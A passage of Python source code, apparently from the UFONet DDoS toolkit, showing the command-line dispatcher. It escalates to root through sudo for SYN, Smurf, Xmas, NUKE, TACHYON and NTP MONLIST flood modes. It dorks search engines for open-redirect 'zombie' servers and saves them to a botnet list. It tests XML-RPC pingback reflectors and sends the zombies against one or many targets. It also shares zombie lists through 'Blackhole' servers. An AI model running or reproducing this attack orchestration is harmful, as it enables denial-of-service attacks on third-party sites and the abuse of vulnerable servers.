  387. print("-> Network Info:")
  388. print('='*44)
  389. print("-"*35)
  390. print("|- MAC Address :", hex_mac)
  391. print("|" +"-"*34)
  392. private_ip, public_ip = self.show_ips()
  393. print("|- IP Private :", private_ip)
  394. print("|" +"-"*34)
  395. t = urlparse(self.check_ip_service3)
  396. name_service = t.netloc
  397. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  398. print("-"*35)
  399. print('='*75, "\n")
  400. # run UFOSCAN tool (check EUID when running UFOSCAN)
  401. if options.xray:
  402. euid = self.checkeuid()
  403. if euid != 0:
  404. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  405. try:
  406. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  407. os.execlpe('sudo', *args)
  408. except:
  409. pass # keep running
  410. else:
  411. if not options.xrayps:
  412. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  413. ports = options.xrayps
  414. try:
  415. portX, portY = ports.split('-')
  416. try:
  417. portX = int(portX)
  418. portY = int(portY)
  419. except:
  420. portX = 1
  421. portY = 1024
  422. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  423. except:
  424. portX = 1
  425. portY = 1024
  426. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  427. self.banner()
  428. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  429. print('='*22 + '\n')
  430. try:
  431. self.instance = UFOSCAN() # instance main class for scanning operations
  432. xray = self.instance.scanning(options.xray, portX, portY)
  433. except Exception as e:
  434. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  435. if DEBUG == True:
  436. traceback.print_exc()
  437. return
  438. # show code timeline
  439. if options.timeline:
  440. f = open(self.timeline_file, 'r')
  441. releases = f.readlines()
  442. f.close()
  443. self.banner()
  444. print("-> Code timeline:")
  445. print('='*44)
  446. print("-"*35)
  447. for r in releases:
  448. print(r.strip('\n'))
  449. print("-"*35)
  450. print('='*75, "\n")
  451. # print some examples
  452. if options.examples:
  453. f = open(self.examples_file, 'r')
  454. examples = f.readlines()
  455. f.close()
  456. self.banner()
  457. for e in examples:
  458. print(e.strip('\n'))
  459. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  460. if options.ufosyn:
  461. euid = self.checkeuid()
  462. if euid != 0:
  463. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  464. try:
  465. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  466. os.execlpe('sudo', *args)
  467. except:
  468. pass # keep running, but UFOSYN will fail
  469. # check EUID when running SPRAY (root required)
  470. if options.spray:
  471. euid = self.checkeuid()
  472. if euid != 0:
  473. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  474. try:
  475. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  476. os.execlpe('sudo', *args)
  477. except:
  478. pass # keep running, but SPRAY will fail
  479. # check EUID when running SMURF (root required)
  480. if options.smurf:
  481. euid = self.checkeuid()
  482. if euid != 0:
  483. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  484. try:
  485. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  486. os.execlpe('sudo', *args)
  487. except:
  488. pass # keep running, but SMURF will fail
  489. # check EUID when running XMAS (root required)
  490. if options.xmas:
  491. euid = self.checkeuid()
  492. if euid != 0:
  493. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  494. try:
  495. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  496. os.execlpe('sudo', *args)
  497. except:
  498. pass # keep running, but XMAS will fail
  499. # check EUID when running NUKE (root required)
  500. if options.nuke:
  501. euid = self.checkeuid()
  502. if euid != 0:
  503. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  504. try:
  505. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  506. os.execlpe('sudo', *args)
  507. except:
  508. pass # keep running, but NUKE will fail
  509. # check EUID when running TACHYON (root required)
  510. if options.tachyon:
  511. euid = self.checkeuid()
  512. if euid != 0:
  513. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  514. try:
  515. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  516. os.execlpe('sudo', *args)
  517. except:
  518. pass # keep running, but TACHYON will fail
  519. # check EUID when running MONLIST (root required)
  520. if options.monlist:
  521. euid = self.checkeuid()
  522. if euid != 0:
  523. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  524. try:
  525. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  526. os.execlpe('sudo', *args)
  527. except:
  528. pass # keep running, but MONLIST will fail
  529. # search for [Zombies] on search engines results (dorking)
  530. if options.search:
  531. zombies = []
  532. if options.engine:
  533. engine = options.engine
  534. else:
  535. engine = "duck" # default search engine
  536. try:
  537. self.banner()
  538. if not os.path.exists(self.humans_file) == True:
  539. f = open(self.humans_file, 'w')
  540. f.close()
  541. lf = open(self.humans_file, 'r')
  542. restored = lf.readlines()
  543. zombies_restored = len(restored)
  544. lf.close()
  545. lz = open(self.zombies_file, 'r')
  546. zombies_army = lz.readlines()
  547. for zombie in zombies_army:
  548. zombies.append(zombie) # add zombies from army to the zombies pool
  549. lz.close()
  550. if len(restored) > 0:
  551. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  552. if not self.options.forceyes:
  553. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  554. print('-'*25)
  555. else:
  556. backup_reply = "Y"
  557. if backup_reply == "n" or backup_reply == "N":
  558. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  559. os.remove(self.humans_file)
  560. zombies_restored = 0 # flush zombies restored
  561. print('-'*25 + "\n")
  562. else:
  563. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  564. print('-'*25 + "\n")
  565. for zombie in restored:
  566. zombies.append(zombie) # add previous data to zombies pool
  567. if options.allengines:
  568. if options.ex_engine: # exclude some search engines manually
  569. exclude = options.ex_engine.split(",")
  570. for ex in exclude:
  571. ex = ex.lower()
  572. if ex in self.search_engines:
  573. if len(self.search_engines) == 1: # at least one should make it
  574. pass
  575. else:
  576. self.search_engines.remove(ex)
  577. for e in self.search_engines:
  578. engine = e
  579. print('='*44)
  580. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  581. print('='*44 + '\n')
  582. self.options.engine = engine
  583. try:
  584. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  585. if zombies_chain != None:
  586. for zombie in zombies_chain:
  587. if zombie not in zombies: # evade possible repetitions
  588. zombies.append(zombie)
  589. except:
  590. if zombies: # backup all new zombies found to file in case of exception
  591. for zombie in zombies:
  592. if zombie+os.linesep not in restored: # only append new zombies found
  593. with open(self.humans_file, "a") as f:
  594. f.write(str(zombie+os.linesep))
  595. else:
  596. if restored:
  597. print('='*44)
  598. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  599. print('='*44 + '\n')
  600. if restored: # from restored file
  601. try:
  602. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  603. if zombies_chain != None:
  604. for zombie in zombies_chain:
  605. if zombie not in zombies: # evade possible repetitions
  606. zombies.append(zombie)
  607. except:
  608. if zombies: # backup all new zombies found to file in case of exception
  609. for zombie in zombies:
  610. if zombie+os.linesep not in restored: # only append new zombies found
  611. with open(self.humans_file, "a") as f:
  612. f.write(str(zombie+os.linesep))
  613. else:
  614. try:
  615. zombies = self.search_zombies(dork='', zombies_found=zombies)
  616. except:
  617. if zombies: # backup all new zombies found to file in case of exception
  618. for zombie in zombies:
  619. if zombie+os.linesep not in restored: # only append new zombies found
  620. with open(self.humans_file, "a") as f:
  621. f.write(str(zombie+os.linesep))
  622. total_restored = zombies_restored
  623. new_zombies = 0 # new zombies counter
  624. f = open(self.zombies_file, 'r')
  625. zz = f.readlines()
  626. f.close()
  627. zombies_found = []
  628. for z in zombies:
  629. if z.endswith(os.linesep):
  630. z = z.replace(os.linesep, "")
  631. if z not in zz and z+os.linesep not in zz:
  632. new_zombies = new_zombies + 1
  633. zombies_found.append(z)
  634. print('='*62)
  635. print("\n- Victims found:", len(zombies_found), "\n")
  636. print(" - Restored:", total_restored)
  637. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  638. print('-'*32)
  639. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  640. print('='*62 + '\n')
  641. if len(zombies) > 0:
  642. if not self.options.forceyes:
  643. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  644. print('-'*25)
  645. else:
  646. check_backup_reply = "Y"
  647. if check_backup_reply == "n" or check_backup_reply == "N":
  648. if os.path.isfile(self.humans_file):
  649. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  650. print("\n[Info] [AI] Temporal data correctly removed...\n")
  651. else:
  652. with open(self.humans_file, "w") as f:
  653. for z in zombies_found:
  654. if z.endswith(os.linesep):
  655. z = z.replace(os.linesep, "")
  656. if z not in zz or z+os.linesep not in zz:
  657. f.write(z+os.linesep)
  658. f.close()
  659. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  660. print('-'*25 + "\n")
  661. if new_zombies and new_zombies > 0:
  662. if not self.options.forceyes:
  663. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  664. print('-'*25 + "\n")
  665. else:
  666. check_url_link_reply = "Y"
  667. if check_url_link_reply == "n" or check_url_link_reply == "N":
  668. print("[AI] "+self.exit_msg+"\n")
  669. pass
  670. else:
  671. print("\n" + '='*44)
  672. test = self.testing(zombies_found)
  673. else:
  674. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  675. except Exception:
  676. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  677. # search for [Zombies] from a list of [Dorks]
  678. if options.dorks:
  679. if options.engine:
  680. engine = options.engine
  681. else:
  682. engine = "duck" # default search engine
  683. try:
  684. dorks = self.extract_dorks()
  685. if not dorks:
  686. return
  687. zombies = []
  688. self.banner()
  689. if not os.path.exists(self.humans_file) == True:
  690. f = open(self.humans_file, 'w')
  691. f.close()
  692. lf = open(self.humans_file, 'r')
  693. restored = lf.readlines()
  694. zombies_restored = len(restored)
  695. lf.close()
  696. lz = open(self.zombies_file, 'r')
  697. zombies_army = lz.readlines()
  698. for zombie in zombies_army:
  699. zombies.append(zombie) # add zombies from army to the zombies pool
  700. lz.close()
  701. if len(restored) > 0:
  702. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  703. if not self.options.forceyes:
  704. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  705. print('-'*25)
  706. else:
  707. backup_reply = "Y"
  708. if backup_reply == "n" or backup_reply == "N":
  709. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  710. os.remove(self.humans_file)
  711. zombies_restored = 0 # flush zombies restored
  712. print('-'*25 + "\n")
  713. else:
  714. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  715. print('-'*25 + "\n")
  716. for zombie in restored:
  717. zombies.append(zombie) # add previous data to zombies pool
  718. total_restored = zombies_restored
  719. if options.allengines:
  720. if options.ex_engine: # exclude some search engines manually
  721. exclude = options.ex_engine.split(",")
  722. for ex in exclude:
  723. ex = ex.lower()
  724. if ex in self.search_engines:
  725. if len(self.search_engines) == 1: # at least one should make it
  726. pass
  727. else:
  728. self.search_engines.remove(ex)
  729. for e in self.search_engines:
  730. engine = e
  731. print('='*44)
  732. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  733. print('='*44 + '\n')
  734. self.options.engine = engine
  735. for dork in dorks:
  736. print('='*22)
  737. print("Dork:", dork)
  738. print('='*22 + '\n')
  739. try:
  740. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  741. for zombie in dorked_zombies:
  742. if zombie not in zombies: # evade repetitions for zombies found
  743. zombies.append(zombie)
  744. if zombie+os.linesep not in restored: # only append new zombies found
  745. with open(self.humans_file, "a") as f:
  746. f.write(str(zombie+os.linesep))
  747. f.close()
  748. except:
  749. if zombies: # backup new zombies found on exception
  750. for zombie in zombies:
  751. if zombie+os.linesep not in restored: # only append new zombies found
  752. with open(self.humans_file, "a") as f:
  753. f.write(str(zombie+os.linesep))
  754. f.close()
  755. else:
  756. if restored:
  757. print('='*44)
  758. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  759. print('='*44 + '\n')
  760. for dork in dorks:
  761. print('='*22)
  762. print("Dork:", dork)
  763. print('='*22 + '\n')
  764. try:
  765. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  766. if dorked_zombies != None:
  767. for zombie in dorked_zombies:
  768. if zombie not in zombies: # evade repetitions for zombies found
  769. zombies.append(zombie)
  770. except:
  771. if zombies: # backup new zombies found on exception
  772. for zombie in zombies:
  773. if zombie+os.linesep not in restored: # only append new zombies found
  774. with open(self.humans_file, "a") as f:
  775. f.write(str(zombie+os.linesep))
  776. f.close()
  777. new_zombies = 0 # new zombies counter
  778. f = open(self.zombies_file, 'r')
  779. zz = f.readlines()
  780. f.close()
  781. zombies_found = []
  782. for z in zombies:
  783. if z.endswith(os.linesep):
  784. z = z.replace(os.linesep, "")
  785. if z not in zz and z+os.linesep not in zz:
  786. new_zombies = new_zombies + 1
  787. zombies_found.append(z)
  788. print('='*62)
  789. print("\n- Victims found:", len(zombies_found), "\n")
  790. print(" - Restored:", total_restored)
  791. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  792. print('-'*32)
  793. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  794. print('='*62 + '\n')
  795. if len(zombies_found) > 0:
  796. if not self.options.forceyes:
  797. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  798. print('-'*25)
  799. else:
  800. check_backup_reply = "Y"
  801. if check_backup_reply == "n" or check_backup_reply == "N":
  802. if os.path.isfile(self.humans_file):
  803. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  804. print("\n[Info] [AI] Temporal data correctly removed...\n")
  805. else:
  806. with open(self.humans_file, "w") as f:
  807. for z in zombies_found:
  808. if z.endswith(os.linesep):
  809. z = z.replace(os.linesep, "")
  810. if z not in zz or z+os.linesep not in zz:
  811. f.write(z+os.linesep)
  812. f.close()
  813. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  814. print('-'*25 + "\n")
  815. if new_zombies and new_zombies > 0:
  816. if not self.options.forceyes:
  817. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  818. print('-'*25 + "\n")
  819. else:
  820. check_url_link_reply = "Y"
  821. if check_url_link_reply == "n" or check_url_link_reply == "N":
  822. print("[AI] "+self.exit_msg+"\n")
  823. pass
  824. else:
  825. print("\n" + '='*44)
  826. test = self.testing(zombies_found)
  827. else:
  828. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  829. except Exception:
  830. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  831. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  832. if options.autosearch:
  833. try:
  834. dorks = self.extract_dorks()
  835. except:
  836. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  837. return
  838. engines_list = self.search_engines
  839. stop_flag = False # use a flag to establish an end
  840. try:
  841. self.banner()
  842. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  843. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  844. print('-'*25 + "\n")
  845. zombies_found = []
  846. lz = open(self.zombies_file, 'r')
  847. zombies_army = lz.readlines()
  848. for zombie in zombies_army:
  849. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  850. lz.close()
  851. if not os.path.exists(self.humans_file) == True:
  852. f = open(self.humans_file, 'w')
  853. f.close()
  854. lf = open(self.humans_file, 'r')
  855. restored = lf.readlines()
  856. zombies_restored = len(restored)
  857. lf.close()
  858. if len(restored) > 0:
  859. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  860. if not self.options.forceyes:
  861. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  862. print('-'*25)
  863. else:
  864. backup_reply = "Y"
  865. if backup_reply == "n" or backup_reply == "N":
  866. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  867. os.remove(self.humans_file)
  868. zombies_restored = 0 # flush zombies restored
  869. print('-'*25 + "\n")
  870. else:
  871. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  872. print('-'*25 + "\n")
  873. for zombie in restored:
  874. zombies_found.append(zombie) # add previous data to zombies found pool
  875. total_restored = zombies_restored
  876. while stop_flag == False:
  877. if not os.path.exists(self.humans_file) == True:
  878. f = open(self.humans_file, 'w')
  879. f.close()
  880. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  881. restored = lf.readlines()
  882. lf.close()
  883. zombies_restored = len(restored)
  884. for e in engines_list:
  885. zombies_counter = 0 # use it also as (engine) flag
  886. engine = e
  887. self.options.engine = engine
  888. print('='*44 + '\n')
  889. print(("[AI] Searching for zombies using: "+engine+'\n'))
  890. print('='*44 + '\n')
  891. for dork in dorks:
  892. print('='*22)
  893. print("Dork:", dork)
  894. print('='*22 + '\n')
  895. try:
  896. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  897. for zombie in dorked_zombies:
  898. if zombie not in zombies_found: # evade repetitions for zombies found
  899. zombies_found.append(zombie)
  900. if zombie+os.linesep not in restored: # only append new zombies found
  901. with open(self.humans_file, "a") as f:
  902. f.write(str(zombie+os.linesep))
  903. f.close()
  904. zombies_counter = zombies_counter + 1
  905. except:
  906. if zombies_found: # backup new zombies found on exception
  907. for zombie in zombies_found:
  908. if zombie+os.linesep not in restored: # only append new zombies found
  909. with open(self.humans_file, "a") as f:
  910. f.write(str(zombie+os.linesep))
  911. f.close()
  912. if zombies_counter == 0:
  913. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  914. print('-'*25 + "\n")
  915. engines_list.remove(engine) # remove not more results engine from search engines list
  916. if not engines_list: # if search engines empty, call return-exit routine
  917. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  918. print('-'*25 + "\n")
  919. stop_flag = True # exit flag up
  920. new_zombies = 0 # new zombies counter
  921. f = open(self.zombies_file, 'r')
  922. zz = f.readlines()
  923. f.close()
  924. all_zombies_found = []
  925. for z in zombies_found:
  926. if z.endswith(os.linesep):
  927. z = z.replace(os.linesep, "")
  928. if z not in zz and z+os.linesep not in zz:
  929. new_zombies = new_zombies + 1
  930. all_zombies_found.append(z)
  931. print('='*62)
  932. print("\n- Victims found:", len(all_zombies_found), "\n")
  933. print(" - Restored:", total_restored)
  934. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  935. print('-'*32)
  936. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  937. print('='*62 + '\n')
  938. if len(zombies_found) > 0:
  939. if not self.options.forceyes:
  940. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  941. print('-'*25)
  942. else:
  943. check_backup_reply = "Y"
  944. if check_backup_reply == "n" or check_backup_reply == "N":
  945. if os.path.isfile(self.humans_file):
  946. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  947. print("\n[Info] [AI] Temporal data correctly removed...\n")
  948. else:
  949. with open(self.humans_file, "w") as f:
  950. for z in all_zombies_found:
  951. if z.endswith(os.linesep):
  952. z = z.replace(os.linesep, "")
  953. if z not in zz or z+os.linesep not in zz:
  954. f.write(z+os.linesep)
  955. f.close()
  956. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  957. print('-'*25 + "\n")
  958. if new_zombies and new_zombies > 0:
  959. if not self.options.forceyes:
  960. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  961. print('-'*25 + "\n")
  962. else:
  963. check_url_link_reply = "Y"
  964. if check_url_link_reply == "n" or check_url_link_reply == "N":
  965. print("[AI] "+self.exit_msg+"\n")
  966. pass
  967. else:
  968. print("\n" + '='*44)
  969. test = self.testing(all_zombies_found)
  970. else:
  971. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  972. except Exception:
  973. print ("[Error] [AI] Something wrong (auto)searching...\n")
  974. # test web 'zombie' servers -> show statistics
  975. if options.test:
  976. try:
  977. self.banner()
  978. zombies = self.extract_zombies()
  979. if not zombies:
  980. return
  981. test = self.testing(zombies)
  982. self.update_missions_stats() # update mothership missions stats
  983. except Exception:
  984. print ("\n[Error] [AI] Something wrong testing!\n")
  985. if DEBUG == True:
  986. traceback.print_exc()
  987. # test XML-'rpc' pingback vulnerable servers -> update list
  988. if options.testrpc:
  989. try:
  990. self.banner()
  991. rpcs = self.extract_rpcs()
  992. if not rpcs:
  993. return
  994. testrpc = self.testing_rpcs(rpcs)
  995. self.update_missions_stats() # update mothership missions stats
  996. except Exception:
  997. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  998. if DEBUG == True:
  999. traceback.print_exc()
  1000. # check botnet searching for zombies offline
  1001. if options.testoffline:
  1002. try:
  1003. self.banner()
  1004. testbotnet = self.testing_offline()
  1005. self.update_missions_stats() # update mothership missions stats
  1006. except Exception:
  1007. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1008. if DEBUG == True:
  1009. traceback.print_exc()
  1010. # check ALL botnet status
  1011. if options.testall:
  1012. try:
  1013. self.banner()
  1014. test_all_botnet = self.testing_all()
  1015. self.update_missions_stats() # update mothership missions stats
  1016. except Exception:
  1017. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1018. if DEBUG == True:
  1019. traceback.print_exc()
  1020. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1021. if options.target:
  1022. try:
  1023. self.banner()
  1024. zombies = self.extract_zombies()
  1025. if not zombies:
  1026. return
  1027. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1028. attack = self.attacking(zombies, options.target)
  1029. self.update_missions_stats() # update mothership missions stats
  1030. except Exception:
  1031. print ("\n[Error] [AI] Something wrong attacking!\n")
  1032. if DEBUG == True:
  1033. traceback.print_exc()
  1034. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1035. if options.target_list:
  1036. try:
  1037. self.banner()
  1038. zombies = self.extract_zombies()
  1039. if not zombies:
  1040. return
  1041. targets = self.extract_target_list()
  1042. if not targets:
  1043. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1044. return
  1045. self.options.forceyes = True # force-yes ON!
  1046. self.num_target_list = 0
  1047. print("\n[AI] Checking integrity of targets...\n")
  1048. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1049. if not t.startswith("http"): # discarded inmediately
  1050. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1051. targets.remove(t) # ¿remove? invalid targets
  1052. print("")
  1053. c = 0
  1054. for target in targets:
  1055. if target == "":
  1056. c = c + 1
  1057. else:
  1058. self.num_target_list = self.num_target_list + 1
  1059. if c == len(targets):
  1060. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1061. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1062. else:
  1063. for target in targets:
  1064. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1065. target = self.options.target
  1066. print('='*55 + "\n")
  1067. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1068. print("="*55)
  1069. attack = self.attacking(zombies, target)
  1070. self.update_missions_stats() # update mothership missions stats (each target counts)
  1071. except Exception:
  1072. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1073. if DEBUG == True:
  1074. traceback.print_exc()
  1075. # inspect target -> inspect target's components sizes
  1076. if options.inspect:
  1077. try:
  1078. self.banner()
  1079. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1080. print('='*22 + '\n')
  1081. self.instance = Inspector(self) # instance main class for inspection operations
  1082. inspection = self.instance.inspecting(options.inspect)
  1083. self.update_missions_stats() # update mothership missions stats
  1084. except Exception as e:
  1085. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1086. if DEBUG == True:
  1087. traceback.print_exc()
  1088. return #sys.exit(2)
  1089. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1090. if options.abduction:
  1091. try:
  1092. self.banner()
  1093. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1094. print('='*22 + '\n')
  1095. self.instance = Abductor(self) # instance main class for abduction operations
  1096. abduction = self.instance.abducting(options.abduction)
  1097. self.update_missions_stats() # update mothership missions stats
  1098. except Exception as e:
  1099. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1100. if DEBUG == True:
  1101. traceback.print_exc()
  1102. return #sys.exit(2)
  1103. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1104. if options.attackme:
  1105. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1106. try:
  1107. self.banner()
  1108. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1109. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1110. if not self.options.forceyes:
  1111. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1112. else:
  1113. update_reply = "Y"
  1114. if update_reply == "n" or update_reply == "N":
  1115. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1116. return
  1117. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1118. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1119. print("\n[AI] Checking NAT/IP configuration:\n")
  1120. nat = self.check_nat()
  1121. f = open("alien", "w") # generate random alien worker
  1122. f.write(str(self.mothership_hash))
  1123. f.close()
  1124. if self.nat_error_flag == "ON":
  1125. return
  1126. zombies = self.extract_zombies()
  1127. if not zombies:
  1128. return
  1129. attackme = self.attackme(zombies)
  1130. self.update_missions_stats() # update mothership missions stats
  1131. except Exception as e:
  1132. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1133. if DEBUG == True:
  1134. traceback.print_exc()
  1135. return #sys.exit(2)
  1136. # check/update for latest stable version
  1137. if options.update:
  1138. self.banner()
  1139. try:
  1140. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1141. Updater()
  1142. except:
  1143. print("Not any .git repository found!\n")
  1144. print("="*30)
  1145. print("\nTo have working this feature, you should clone UFONet with:\n")
  1146. print("$ git clone %s" % self.GIT_REPOSITORY)
  1147. print("\nAlso you can try this other mirror:\n")
  1148. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1149. # launch GUI/Web interface
  1150. if options.web:
  1151. self.create_web_interface()
  1152. return
  1153. # generate [Blackhole] server to share [Zombies]
  1154. if options.blackhole is not None:
  1155. self.banner()
  1156. try:
  1157. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1158. sys.path.append(blackhole_lib)
  1159. from core.tools.blackhole import BlackHole
  1160. print("\n[AI] Initiating void generation sequence...\n")
  1161. print('='*22 + '\n')
  1162. app = BlackHole()
  1163. app.start()
  1164. while True: time.sleep(1)
  1165. except KeyboardInterrupt:
  1166. print("\n[AI] Terminating void generation sequence...\n")
  1167. app.collapse()
  1168. except Exception as e:
  1169. print("[Error] "+str(e))
  1170. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1171. # create [Griger] server to share [Stats/Wargames/Messages]
  1172. if options.grider is not None:
  1173. self.banner()
  1174. try:
  1175. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1176. sys.path.append(grider_lib)
  1177. from core.tools.grider import Grider
  1178. print("\n[AI] Initiating void generation sequence...\n")
  1179. print('='*22 + '\n')
  1180. app = Grider()
  1181. app.start()
  1182. while True: time.sleep(1)
  1183. except KeyboardInterrupt:
  1184. print("\n[AI] Terminating void generation sequence...\n")
  1185. app.collapse()
  1186. except Exception as e:
  1187. print("[Error] "+str(e))
  1188. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1189. # download list of [Zombies] from a [Blackhole] IP
  1190. if options.dip is not None:
  1191. options.download = True
  1192. self.blackhole = options.dip
  1193. # upload list of [Zombies] to a [Blackhole] IP
  1194. if options.upip is not None:
  1195. options.upload = True
  1196. self.blackhole = options.upip
  1197. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1198. if options.download:
  1199. try:
  1200. self.banner()
  1201. if options.dip is not None:
  1202. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1203. else:
  1204. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1205. print('='*22 + '\n')
  1206. download_list = self.downloading_list()
  1207. except Exception as e:
  1208. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1209. return
  1210. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1211. if options.upload:
  1212. try:
  1213. self.banner()
  1214. if options.upip is not None:
  1215. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1216. else:
  1217. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1218. print('='*22 + '\n')
